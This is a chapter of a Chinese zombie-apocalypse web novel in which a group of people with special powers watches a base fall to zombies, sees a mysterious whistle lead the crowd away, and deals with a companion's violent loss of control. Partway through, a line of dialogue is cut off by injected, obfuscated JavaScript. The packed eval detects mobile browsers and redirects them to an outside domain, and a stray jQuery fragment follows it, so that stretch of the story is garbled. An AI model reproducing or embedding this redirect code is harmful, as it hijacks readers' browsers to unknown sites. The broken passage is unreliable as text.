另一边,烽火基地内的哨笛声依旧。
宁泽天三人顺利的潜伏到了肖大几人所住的B区敞篷处,在帐篷外喊了几声肖大却无人回应,掀开帐篷后发现未见五人,正疑惑时,匆匆赶来的李叔回到帐篷,似是着急收拾东西。
萧楚楚上前,“李叔,这是怎么了?”
李叔瞥了一眼几人,想到肖大与几人似乎关系不错,将藏在被褥下的相框塞进怀里,“你们也快跑吧,基地乱了。”
“乱了?”凌云谦跟过来,见李叔似乎并不想回答,转问道,“肖大几人呢,怎么不见他们?”
李叔已经收拾完,“陈小五下午急匆匆回来后,几人便走了。”说完便转身离开,消失在视野中。
“应该是出任务去了还没回来。”宁泽天猜测道,话音刚落,便听见不远处传来一阵又一阵的尖叫声,此起彼伏。
“是B区宿舍楼。”宁泽天回身看向声源处,“走,去看看情况。”
距离不远,几人很快来到宿舍楼下,隐蔽的藏在一处树丛旁,今夜的满月高悬于空,亮堂堂地照着宿舍楼。
数不清的面孔青白,眼神空洞泛白,血肉翻转的丧尸混在人群之中,肆意地在人群中撕咬着逃命的人们,而被撕咬下血肉的人很快踉跄起身,摇摇晃晃的加入丧尸大军。
一片混乱。
“糟了。”
一对妇孺踉踉跄跄的向前奔跑,步伐太急绊倒在地,妇女将孩子紧紧抱在怀中,绝望又无助的往后爬去,而身后的丧尸正“嗬嗬”地朝她们挥手袭来。
「金针突刺」
一道反射着月色寒光的金针从宁泽天手中射出,如入豆腐般直入丧尸脑袋,妇女看到身后的丧尸轰的一声倒地后,忙抱着孩子起身,趔趄几步继续逃命。
「惊雷」
几道雷击使困在险境的人们脱离丧尸的威胁,凌云谦一边使用异能,一边焦急问道,“怎么办,数量太多了。”
一旁关注着逃命人群的萧楚楚咬了咬唇,她从未见过此番惨烈的模样,沉下混乱的思绪,声线却透着颤抖,“救不过来。”
凌云谦听闻猛地回头,似是未想到她如此冷静自持,就听到宁泽天沉声道,“没错。”
他们几人到时已经太晚了,数不清的人被丧尸抓伤咬伤,藏匿在奔走逃亡的人群之中,在感染发作后犹如入了米缸的老鼠,再次沦陷。
萧楚楚再次出声,“我们无法判断他们是否抓咬。”
却见刚刚被宁泽天救下的一对妇孺,妇女不知何时被抓伤,此时已经发作,“嗬嗬”的掰着头,全然忘了怀中是自己的亲生孩子,张开獠牙低头撕咬……
凌云谦双目皲裂,手臂上的青筋随着用力在不断突出,不断忍住内心的无奈与燥怒。
不远处一位衣着白色连衣裙的披肩发女子背对着几人,往奔走的人群中慌乱逃亡,却未注意到前方那人动作怪异,四肢正诡异的僵硬伸展,回头的瞬间看到那人面目狰狞的血脸,女子被吓得侧身躲避。
黑夜下极其熟悉的侧脸让宁泽天心生震撼,声音哽咽,“小梨?”快速来到女子身边,拉住女子手腕将她带到一旁,金针刺下,丧尸应声倒地。
“小梨?是你吗?”女子背对着宁泽天,情绪激动的他委察觉到女子不寻常的沉重呼吸声,见女子未做回应,他更是焦急,“小梨,是我啊,泽天。”
女子转身的瞬间,宁泽天顿时愣怔在原地做不出回应,眼前的女子面色青白,血肉翻转,尖锐的獠牙随着她的张口而显得更为骇人。
是异化。
在女子即将撕咬到他的臂膀时,一道直驱的雷暴将她击飞,落到不远处的地上,焦黑一片,成为土地的养分。
赶来的凌云谦拍了拍宁泽天的肩膀,“怎么了?那人你认识?”
宁泽天脸上的表情似乎被一只无形的手抹去,一片空白,回神后心下一阵钝痛,摇摇头,“我还以为是我未婚妻。”
还好不是。
可为什么不是?至少,他还能再见她一面。
此时,一片乌云飘过,遮住了亮堂的月光,世界再次陷入黑暗。
远处的哨笛声此时骤然靠近,音调时而高昂时而悠长,带着勾魂夺魄的诱惑,诡异的旋律回响在耳边,本是尖叫频生的人群似乎被人按下了静音键,沉默几秒后,一道有一道沉重的脚步声传来,渐渐走远。
哨笛声戛然而止,四周再次陷入一片死寂,此时乌云避开,亮堂的月光得以再次重现。
“他们——人呢?”眼前本是混乱的人群,月色洒下,只余一片荒凉,萧楚楚声线不稳,透着慌乱。
凌云谦上前巡视周围,确实无一人身影,就连那道已经焦黑的女子也消失不见,仿佛刚刚发生的一切都是梦幻,“太诡异了。”
“先撤。”宁泽天几人回到帐篷处却仍未找到肖大几人,只好先找叶棠汇合。
……
黑压压的人群在夜色中隐秘奔走,叶棠摇下车窗,才听见人群的数量之大到能听见他们踏在沙土上的踩踏声,犹如千军过境。
太诡异了。
“蛛蛛,跟上他们。”
小花蜘蛛顺着车窗落下,悄无声息的跟上了远处涌动的人群,不一会儿就听到蛛蛛的远程报导。
“棠棠,很多人。”
“都是些什么人?”
“蛛蛛不知,但他们身上的气息很奇怪。”此时月色洒下,堪堪看清路过的一人,“他们好像都是丧尸。”
小花蜘蛛继续道,颇有些嫌弃,“不过有些人的面容很干净,有些很吓蛛蛛,血肉模糊的,动作比蛛蛛还僵硬。”
叶棠蹙了蹙眉,思绪翻转,最终暗道:是丧尸和失智的人。
突然,涌动的人影停住了脚步,远远看去似乎失去了目标,在原地四处打转,一道哨笛声应声响起,声源处似乎在正前方的密林间?
叶棠刚想下车前往查看情况,却听见一旁池肆痛苦的闷哼声,只见他眉梢紧蹙,眼尾处已经透出淡薄的黑雾,神情痛苦,似要挣扎醒来,却摆不脱困住他的梦魇。
“池肆,池
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245446|161209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肆。”叶棠推了推他的肩膀,可他依旧醒不过来,神情随着高昂的哨笛声越发痛苦,双脚隐有站起之意。
叶棠赶紧压住他的身子,可他似乎势有必要起身的架势,就当她正思考要不要把他绑起来时,他紧锁的眉头下,一双深邃的眼睛缓缓睁开。
“你醒了?”
还来不及高兴,便被池肆沉着脸掐住了脖子,身体直直抵在了前座的后背上,脖子下的手掌正不断收紧,叶棠本想使出异能逃脱,却被他无形释放的精神威压压住了动作。
一时之间,犹如案板上的鱼肉。
此时叶棠才注意到,池肆的状态十分不对,苍白的面孔下,那双本是透亮干净的墨眸染上了猩红,眼尾处飞起的黑雾与红痣交相辉映,透着弑杀的诡异。
他的目光倒映着叶棠的面容,似是在看已死之物,肃然萧瑟。
叶棠暗道:他这是异变了?还真死在丧尸王手下了?
思绪乱飞,正在幻想着今后成为丧尸王该去哪里过活时,桎梏她的手掌突然松懈,池肆肃杀的眉眼顿时如消融的冰山松软下来,眸子一眨,透着稀薄的月光,“阿棠?”
脱离桎梏的叶棠轻咳几声,还未来得及回应,远处的哨笛声骤然停止,池肆咬紧牙关,忍得轻颤,无力的张开双臂,将她揽入怀中,埋入她的肩膀处,轻声道,“对不起,别走。”
微弱的气息呼在她的颈侧,喊了几声见没反应,便将他推回座椅上,“好吧,又晕了。”
小花蜘蛛也爬会了叶棠的手上,“他们都走了。”叶闻声望向刚刚人群涌动的地方,果然空空如也,只剩树影。
又是哨笛声。
不对,刚刚池肆突然的失控,会不会也与那哨笛声有关?叶棠看着躺在空间里从基地阁楼处拿出的绿色针管,陷入沉思。
摇摇头甩开飘散的思绪,她再次探入池肆的精神之海,果不其然,悬在半空的晶核正缕缕冒着黑雾,正沿着晶核缓缓地滴落在识海中。
叶棠无法确认他是否已感染了丧尸病毒,还是因为那天晚上注射的未知名药剂而产生的反应,一时之间竟有些无措。
宁泽天三人已经到达荒山脚下,寻到叶棠的车辆后,各自上车就位。
“池肆他怎么样了?”同坐在后座的萧楚楚问道。
叶棠将他的身子扶稳,“不知情况怎样,你有什么办法吗?”萧楚楚只能无奈摇头,“我的异能无法探入,无从下手。”
“肖大他们的?没接到吗?”安置好池肆后,叶棠才注意到几人是空手回来的,宁泽天回道,“我们去的时候,肖大几人已经不见了。”
末世之下,「不见」二字,意味着绝望,也意味着希望。
车内一阵沉默,坐在驾驶位上的凌云谦甩了甩情绪,问道,“我们接下来去哪里?”
“去都城吧,我在都城郊区有一套别墅,我们先去那落脚。”宁泽天作为都城本地人,便当起了一路的导航员。
烽火城与都城的距离不远,在天光破晓时,几人已到达别墅门前。